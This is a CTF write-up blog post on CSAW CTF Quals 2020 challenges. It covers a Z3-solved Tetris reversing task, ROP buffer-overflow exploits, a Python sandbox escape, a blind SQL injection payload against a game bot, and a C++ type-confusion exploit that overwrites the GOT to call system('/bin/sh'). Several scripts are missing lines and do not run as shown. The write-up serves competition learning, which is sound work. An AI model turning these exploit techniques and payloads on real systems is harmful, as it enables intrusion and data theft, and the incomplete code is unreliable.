# CSAW CTF Quals 2020 Writeups

I was looking forward to playing CSAW CTF Quals 2020 since it was right level for me last year. We played this year's CSAW CTF in zer0pts and reached 11th place.

I mainly worked on pwn and rev, and the pwn challenges were good. (I don't like blox2 though :p) The worst was the reversing tasks: They were boring and some were super-guessy. As I saw my team members working on crypto and web tasks, it seemed crypto and web were terrible too.

I'm going to write my solution for the "decent" tasks among what I solved during the CTF.

The tasks and solvers for the challenges I solved are available here:

Other member's writeup:

# [Rev 300pts] blox1(84 solves)

Description: We found an old arcade machine lying around, manufactured by the RET2 Corporation. Their devs are notorious for hiding backdoors and easter eggs in their games, care to take a peek?
Server: [https://wargames.ret2.systems/962c162fa1d2ea626d36/csaw_2020]

We're given a URL to the challenge working on a platform named ret2systems. I don't know why the author couldn't just use SSH or something to run this challenge instead of this strange platform.

Anyway we have the most part of the source code of TETRIS. Our goal is to find out the cheat codes.

#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
void hw_log(int reason) {
syscall(1337, reason);
}
...
if (!cheats_enabled && check_cheat_codes()) {
cheats_enabled = 1;
hw_log(LOG_CHEATING);
}


The source code of check_cheat_codes is not provided but it exists in the disassembly tab.

I just read the assembly and converted it into the following C code.

char data_403700[] = {
3, 2, 3, 2, 2,
0, 1, 3, 1, 0,
0, 2, 2, 2, 2,
0, 3, 0, 1, 0
};
char data_403718[] = {
1, 2, 3,
1, 7, 4,
1, 1, 1,
3, 7, 5
}
char data_403730[] = {
2, 2, 2, 2, 2,
3, 1, 2, 1, 3,
3, 1, 1, 1, 1,
3, 1, 3, 1, 3
};
char data_403748[] = {
5, 2, 3,
5, 3, 2,
1, 5, 1,
4, 3, 4
};

// 0x402637
int huga(int x) {
for(int i = 0; i < 3; i++) {
char a = 0, b = 0;
for(int j = 0; j < 5; j++) {
if (board[j+15][x*3+i]) { // block exists
a ^= (j + 1);
b += 1;
}
}
if (data_403718[x*3 + i] != a) return 0;
if (data_403748[x*3 + i] != b) return 0;
}
}

// 0x402554
int hoge(int x) {
for(int i = 0; i < 5; i++) {
char a = 0, b = 0;
for(int j = 0; j < 3; j++) {
if (board[i+15][x*3+j]) { // block exists
a ^= (j + 1);
b += 1;
}
}
if (data_403700[x*5 + i] != a) return 0;
if (data_403730[x*5 + i] != b) return 0;
}
return 1;
}

int check_cheat_codes() {
for(int i = 0; i < 4; i++) {
if (hoge(i) == 0) return 0;
if (huga(i) == 0) return 0;
}
}


I used Z3 to solve the constraints.

from z3 import *
from ptrlib import *

array1 = [
3, 2, 3, 2, 2,
0, 1, 3, 1, 0,
0, 2, 2, 2, 2,
0, 3, 0, 1, 0
]
array2 = [
1, 2, 3,
1, 7, 4,
1, 1, 1,
3, 7, 5
]
array3 = [
2, 2, 2, 2, 2,
3, 1, 2, 1, 3,
3, 1, 1, 1, 1,
3, 1, 3, 1, 3
]
array4 = [
5, 2, 3,
5, 3, 2,
1, 5, 1,
4, 3, 4
]

s = Solver()
board = [
[BitVec(f"flag[{i},{j}]", 8) for j in range(12)]
for i in range(20)
]

for i in range(20):
for j in range(12):
if i < 15:
else:
s.add(Or(board[i][j] == 0, board[i][j] == 1))

for x in range(4):
# huga
for i in range(3):
a = b = BitVec(0, 8)
for j in range(5):
a ^= board[j+15][x*3+i] * (j + 1)
b += board[j+15][x*3+i]

# hoge
for i in range(5):
a = b = BitVec(0, 8)
for j in range(3):
a ^= board[i+15][x*3+j] * (j + 1)
b += board[i+15][x*3+j]

r = s.check()
if r == sat:
m = s.model()
output = ""
for i in range(20):
for j in range(12):
output += str(m[board[i][j]])
output += "\n"
print(output)
else:
print(r)
exit()


We need to put the blocks like the following.

110111111111
101100010001
110110010111
101100010100
101111010111

As the program uses srand(1) to initialize the seed, the sequence of tetorimino doesn't change every time we play the game. My solution to arrange this is:

1. Go gameover to discard S Z T S L Z L L O I L J S Z I Z T I I O O
2. Use J O O O T J I S Z I T S Z O Z Z S I L Z Z I T T J L S I to create a layout like the following.
S
SS
S
Z
ZZ It
ZOOIttT
IOOItTTI
IS IzzTI
ISSZZzzI JJ
IZS ZZ IZJS
ZZ IIIIZZJSS
Z ZZ   Z   S
JJ ZZ  I LLL
J OO   I L
J OOZZ I LLL
OOooJZZITLOO
OOooJJJTTTOO

To accomplish this, we have to put the first S-mino into the storage.

# [Pwn 50pts] roppity (374 solves)

Description: Welcome to pwn!
Files: rop, libc-2.27.so
Server: nc pwn.chal.csaw.io 5016

Just abuse the buffer overflow.

from ptrlib import *

elf = ELF("./rop")
libc = ELF("./libc-2.27.so")

#sock = Process("./rop")
sock = Socket("nc pwn.chal.csaw.io 5016")
sock.recvline()

rop_pop_rdi = 0x00400683
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

sock.recvline()

sock.interactive()


# [Pwn 100pts] slithery (347 solves)

Description: Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one...
File: sandbox.py
Server: nc pwn.chal.csaw.io 5011

We're given a Python code named sandbox.py:

#!/usr/bin/env python3
from base64 import b64decode
import blacklist  # you don't get to see this :p

"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""

def main():
print("EduPy 3.8.2")
while True:
try:
command = input(">>> ")
if any([x in command for x in blacklist.BLACKLIST]):
raise Exception("not allowed!!")

final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
print(final_cmd)
exec(final_cmd)

except (KeyboardInterrupt, EOFError):
return 0
except Exception as e:
print(f"Exception: {e}")

if __name__ == "__main__":
exit(main())


I don't know why they obfuscated the code but it just imports numpy and base64.b64decode. Also, the blacklist is not given :thinking_face:

Anyway the purpose of this challenge may be finding a useful function in numpy which can read a text file.

When numpy.loadtxt fails, it outputs an error with the token it failed to interpret. So, it's done.

$nc pwn.chal.csaw.io 5011 EduPy 3.8.2 >>> RMbPOQHCzt.loadtxt("flag.txt") Exception: could not convert string to float: 'flag{y4_sl1th3r3d_0ut}' # [Pwn 150pts] grid (123 solves) Description: After millions of bugs, all my homies hate C. Files: grid, libc-2.27.so, libstdc.so.6.0.25 Server: nc pwn.chal.csaw.io 5013 There is a 10x10 map and we can put a characters anywhere every time up to 100 times. As the map is uninitialized, we can easily leak the libc address from libstdc base. $ ./grid
shape> d
Displaying
+!�!
~#�
�/<U�
p#��
C~#��M
.U�^U
�C~#��
VU�
~
#��~#�

The main vulnerability is the out-of-bounds write in the display function. We can simply put our ROP chain.

from ptrlib import *

def new(shape, x, y):
sock.sendlineafter("> ", shape)
sock.sendlineafter("> ", str(x) + " " + str(y))
def display():
sock.sendlineafter("> ", "d")
l = []
sock.recvline()
for i in range(10):
l.append(sock.recvline())
return b''.join(l)

elf = ELF("./grid")
libc = ELF("./libc-2.27.so")
#"""
sock = Socket("nc pwn.chal.csaw.io 5013")
libstd = ELF("./libstdc.so.6.0.25")
"""
libstd = ELF("./libstdc.so.6.0.25")
#"""

# leak
libstd_base = u64(display()[0x38:0x40]) - libstd.symbol("_ZN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEE5uflowEv") - 13
logger.info("libstd = " + hex(libstd_base))
libc_base = libstd_base - 0x3f1000
logger.info("libc = " + hex(libc_base))

# ROP to leak libc base
rop_pop_rdi = 0x00400ee3
offset = 0x78
x, y = (offset + i) // 10, (offset + i) % 10
print(i, hex(c))
if c == 0xff:
continue
new(chr(c), x, y)

sock.sendlineafter("> ", "d")

sock.interactive()


# [Pwn 150pts] The Bards' Fail (97 solves)

Description: Pwn your way to glory! You do not need fluency in olde English to solve it, it is just for fun.
Files: bard, libc-2.27.so
Server: nc pwn.chal.csaw.io 5019

We can fill a buffer with 10 good or evil objects. The two structures share same members but have different order.

typedef struct {
char type;   // +0
short nazo1; // +2
int nazo2;   // +4
char name[0x20]; // +8
double nazo3;    // +28h
} GoodWeapon;

typedef struct {
char type;    // +0
double nazo3; // +8
int nazo2;    // +10h
short nazo1;  // +14h
char name[0x20]; // +16h
} EvilWeapon;


The buffer is allocated in the stack and its size is 0x1e0. As the size of EvilWeapon is 0x38, filling the buffer with EvilWeapon may cause buffer overflow.

from ptrlib import *

def good(name, type=1):
sock.sendlineafter(":\n", "g")
sock.sendlineafter("accuracy\n", str(type))
sock.sendafter(":\n", name)

def evil(name, type=1):
sock.sendlineafter(":\n", "e")
sock.sendlineafter("ment\n", str(type))
sock.sendafter(":\n", name)

libc = ELF("./libc-2.27.so")
elf = ELF("./bard")
#sock = Process("./bard")
sock = Socket("nc pwn.chal.csaw.io 5019")

good("A" * 0x20)
for i in range(7):
evil("A" * 0x20)
evil("A" * 0x18)
rop_pop_rdi = 0x00401143

for i in range(10):
sock.sendlineafter("un\n", "r")

sock.recvline()
libc_base = u64(sock.recvline()) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

good("A" * 0x20)
for i in range(7):
evil("A" * 0x20)
evil("A" * 0x18)
rop_pop_rdi = 0x00401143

for i in range(10):
sock.sendlineafter("un\n", "r")

sock.interactive()


# [Pwn 250pts] pwnvoltex (20 solves)

Description: With COVID all the arcades are closed :( Luckily there is a clone of my favorite rhythm game, Sound Voltex, free and open source online!! I even charted a new flag song too! Lets play some multiplayer :3
Files: pwnvoltex.tar.gz

README.txt shows the instruction.

Hello!

We are going to have some fun and play my fav game: https://github.com/Drewol/unnamed-sdvx-clone

You can grab it prebuilt from here:

You can then put the flagsong directory into the songs directory of USC to play it

Now for the actual challenge:
You have to retrieve the real flag from ./flagsong/flag.ksh on my computer
(Your copy doesn't have the real flag in it).

My bot (who has the real flag song) will play multiplayer with you if you like.
It will be using https://github.com/itszn/usc-multiplayer-server
on 34.234.204.29 port 39079 (this can be set in the USC settings under online)

The multiplayer sever will restart every 15 min

NOTE: Some functionality of the bot has been simplified for this challenge
but the intended bug left intact. If you think you have a bug that won't
reproduce on the real bot, message me (itszn) and I can test the full, unaltered,
client for you. The client the bot is using should be feature equivalent to

Also in case you need it, my computer is running Windows 10
(but you probably don't need to know this...)

ALSO if you are actually good at SDVX, let me know and we can play
some real matches :)

So, we have a game server and the game client. When we create a room as the game host, a bot enters the room immediately and play the game after the host decides the song to play.

Our goal is to leak the effector of flag.ksh in the bot's machine.

title=Wavin' Flag
artist=K'NAAN
effect=flug{bot has the real flag! go pwn it}
jacket=jacket.png
...

Before looking for the vulnerability, I narrowed the subject of the investigation based on some guesses.

• Perhaps there's no vulnerability in the game server
• Although the server is written by the challenge author, it's maybe secure because it's been written for a year
• They would not distribute the code throguh github if it has a vulnerability
• Perhaps we don't need to use any vulnerabilities like UAF or BOF
• The game is not patched, which means this challenge must be 0-day or 1-day
• The bot is running on Windows 10
• If it's about "pwn," they'd put the flag in flag.txt or something, not as the effector

I focused on two possibilities:

• The procotol by nature can leak the effector of the client (Protocol's Flaw)
• The client has a bug which can do something with the effector

I noticed that the game was using SQLite3 to store the music list and so on.

$file maps.db maps.db: SQLite 3.x database, last written using SQLite version 3013000 It smells like SQL Injection. Let's check the source code.  Map<int32, FolderIndex*> FindFoldersByPath(const String& searchString) { String stmt = "SELECT DISTINCT folderId FROM Charts WHERE path LIKE \"%" + searchString + "%\""; Map<int32, FolderIndex*> res; DBStatement search = m_database.Query(stmt); while(search.StepRow()) { int32 id = search.IntColumn(0); FolderIndex** folder = m_folders.Find(id); if(folder) { res.Add(id, *folder); } } return res; }  Bingo! The flow to the SQLi looks like this: 1. Create a room as the game host 2. Bot enters the room 3. Suggest "[SQLi payload]" as the song name to play 4. The game server broadcasts the song to other clients 5. The client (bot) fails to find the song by hash and tries to use the song title 6. Boom However, this is a blind SQL Injection. The status of the bot becomes "ready" if the bot can find the song. I used this feature as an oracle and leaked the flag byte by byte with using binary search. from ptrlib import * import json def oracle(query): def send_json(jsondata): sock.send("\x01" + json.dumps(jsondata) + "\x0a") def recv_json(): l = sock.recvline() assert l[0] == 1 r = json.loads(l[1:].decode()) #print(r) return r sock = Socket("34.234.204.29", 39079) #sock = Socket("0.0.0.0", 39079) # create user send_json({ "name": "pwner", "password": "", "topic": "user.auth", "version": "v0.19" }) data = recv_json() userid = data["userid"] recv_json() # create room send_json({"name": "myroom piyo", "password": "", "topic": "server.room.new"}) data = recv_json() roomid = data["room"]["id"] recv_json() # select song send_json({ "chart_hash": "hogehuga", "diff": 0, "level": 16, "song": query, "topic": "room.setsong" }) # check bot status recv_json() data = recv_json() sock.close() if data["users"][1]["ready"]: return True else: return False flag = "" for pos in range(1+len(flag), 100): left, right = 0, 128 while left != right: print(pos, hex(left), hex(right)) mid = (left + right) // 2 payload = 'nyanta%" UNION SELECT 1 WHERE CASE WHEN unicode(substr((SELECT effector FROM Charts WHERE path LIKE "%flagsong%"),{},1))<{} THEN "%" ELSE "%%" END="'.format(pos, mid) if oracle(payload): if right == mid: break left, right = left, mid else: if left == mid: break left, right = mid, right flag += chr(mid) print(flag)  # [Pwn 450pts] feather (6 solves) Description: I made a brand-new filesystem archive format that I think will supercede tar! Could you help me test it out? Files: feather, feather.cpp, libc-2.31.so Server: nc pwn.chal.csaw.io 5017 This time the source code is provided. Nice! The program is a file system loader. The structure of the file system looks like this: [ header ] [ segment1 ]--+ [ segment2 ]--|-+ ... | | [ segment3 ]--|-|-+ [ file 1 ]<-+ | | [ file 2 ]<---+ | ... | [ file 3 ]<-----+ There are 5 types of the file: • DIR: Directory • FILE: File • CLONE: Clone of a file • SYMLINK: Symbolic link • HARDLINK: Hard link • LABEL: The label of the volume ## Finding the Vulnerability There exists many bugs which crashes the program. After I run fuzzing on the program with a dirty Python code, I found the following crash. $ ./feather
Please send a base64-encoded feather file, followed by two newlines:

Filesystem dump:
Tree with label X:/
Error: Unhandled segment type in print_tree: 0x58

It looks like a type confusion. This is the part which crafts the filesystem in the minimal PoC.

data = [
(TYPE_LABEL, 1, label(b"X")),
(TYPE_DIR , 0, directory(b"", [1])),
]

In this file system, I put a root directory, a hardlink and a label. The hardlink points to an inode that doesn't exist. By changing the order like the following, you'll realize it's type confusion.

data = [
(TYPE_DIR , 0, directory(b"", [1])),
(TYPE_LABEL, -1, label(b"A" * 0x40)),
]

Yummy :P

Filesystem dump:
Tree with label AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/
Error: Unhandled segment type in print_tree: 0x41414141

## Type Confusion to AAW

So, what can we do with the type confusion?

File_Clone has a cache system.

  File_Clone &file_clone(Feather &fs) {
auto &result = std::get<File_Clone>(value);
if (result.cached_file_contents.empty()) {
result.cached_file_contents =
}
return result;
}


When it's trying to print_tree a clone file, it calls file_clone to cache the data of the actual file. So, if we can prepare a fake cached_file_contents, we may get AAW primitive.

Is it possible even under the condition result.cached_file_contents.empty()?

The structure of vector<u8> looks like this:

+0x00: the start address of the vector
+0x08: the current end address of the vector
+0x10: the end address of the vector(capacity)

I read how empty() method in C++ works in assembly and found it just return true when cur == begin.

Also, I read the copy constructor (operator==) of vector<u8> in assembly. It's deepcopy and only reallocates when the capacity is not enough. That is, "end - begin <= the size of source vector."

To summerize, we can make AAW by preparing a fake File_Clone like this:

[Segment_Type type]
+0x00: 2

[std::string name]
+0x10: <size of the string>
+0x10: <capacity of the string>
+0x18: 0

[Value value] (std::variant)
+0x20: <file id>
+0x40: 0
+0x48: 2 (variant type)

We can leak the address by the filename. I made the filename of the fake File_Clone point to puts@got to leak the libc base.

## Getting the Shell

Although we can overwrite the GOT by AAW, we have to carefully choose which function to overwrite. First of all, we have to call main function again so that we can get the shell in the second round. We can't overwrite something like puts or delete because it'll be used in the second round as well.

I used memcmp as the trigger. memcmp is used by the comparison of std::string. String comparison occurs only when Symlink tries to trace the filepath.

Also, we can pass an arbitrary argument to memcmp, which is useful to call system("/bin/sh").

## Exploit

This challenge is one of the best C++ pwn I've ever solved.

import base64
from ptrlib import *

TYPE_DIR   = 0
TYPE_FILE  = 1
TYPE_CLON  = 2
TYPE_SYM   = 3
TYPE_HARD  = 4
TYPE_LABEL = 5

def segment(type, id, offset, length):
return p32(type) + p32(id) + p32(offset) + p32(length)
def directory(name, entries):
d = p32(len(name)) + p32(len(entries)) + name
for entry in entries:
d += p32(entry)
return d
def file(name, contents):
return p32(len(name)) + p32(len(contents)) + name + contents
def clone(name, inode):
return p32(len(name)) + p32(inode) + name
return p32(len(name)) + p32(len(target)) + name + target
return p32(len(name)) + p32(target) + name
def label(name):
return name

elf = ELF("./feather")
#sock = Process("./feather")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Socket("localhost", 9999)
sock = Socket("pwn.chal.csaw.io", 5017)
libc = ELF("./libc-2.31.so")

"""
Stage 1: libc leak
"""

fake_entry  = p64(TYPE_CLON)           # type
fake_entry += p64(elf.got("puts"))     # filename (leak target)
fake_entry += p64(0x10) * 2
fake_entry += p64(0)
fake_entry += p64(addr_target + 0x100) # cache->capacity
fake_entry += p64(0)
fake_entry += p64(2) # variant type

data = [
(TYPE_DIR  , 0x0000, directory(b"", [0xcafe, 0xbad0])),
(TYPE_LABEL, 0xffff, label(fake_entry)),
]
fs =  b"FEATHER\x00"
fs += p32(len(data))
ofs = 0
for datum in data:
fs += segment(type=datum[0], id=datum[1], offset=ofs, length=len(datum[2]))
ofs += len(datum[2])
for datum in data:
fs += datum[2]

b = base64.b64encode(fs)
sock.recvline()
sock.sendline(b + b'\n')

r = sock.recvregex("(.+): File, 8 bytes")
libc_base = u64(r[0][2:]) - libc.symbol("puts")
logger.info("libc = " + hex(libc_base))

"""
Stage 2: Get the shell!
"""

fake_entry  = p64(TYPE_CLON)           # type
fake_entry += p64(elf.got("puts"))     # filename
fake_entry += p64(0x10) * 2
fake_entry += p64(0)
fake_entry += p64(addr_target + 0x100) # cache->capacity
fake_entry += p64(0)
fake_entry += p64(2) # variant type

data = [
(TYPE_DIR  , 0x0000, directory(b"", [0xcafe, 0xbad0])),
(TYPE_LABEL, 0xffff, label(fake_entry)),
]
fs =  b"FEATHER\x00"
fs += p32(len(data))
ofs = 0
for datum in data:
fs += segment(type=datum[0], id=datum[1], offset=ofs, length=len(datum[2]))
ofs += len(datum[2])
for datum in data:
fs += datum[2]

b = base64.b64encode(fs)
sock.recvline()
sock.recvline()
sock.sendline(b + b'\n')

sock.interactive()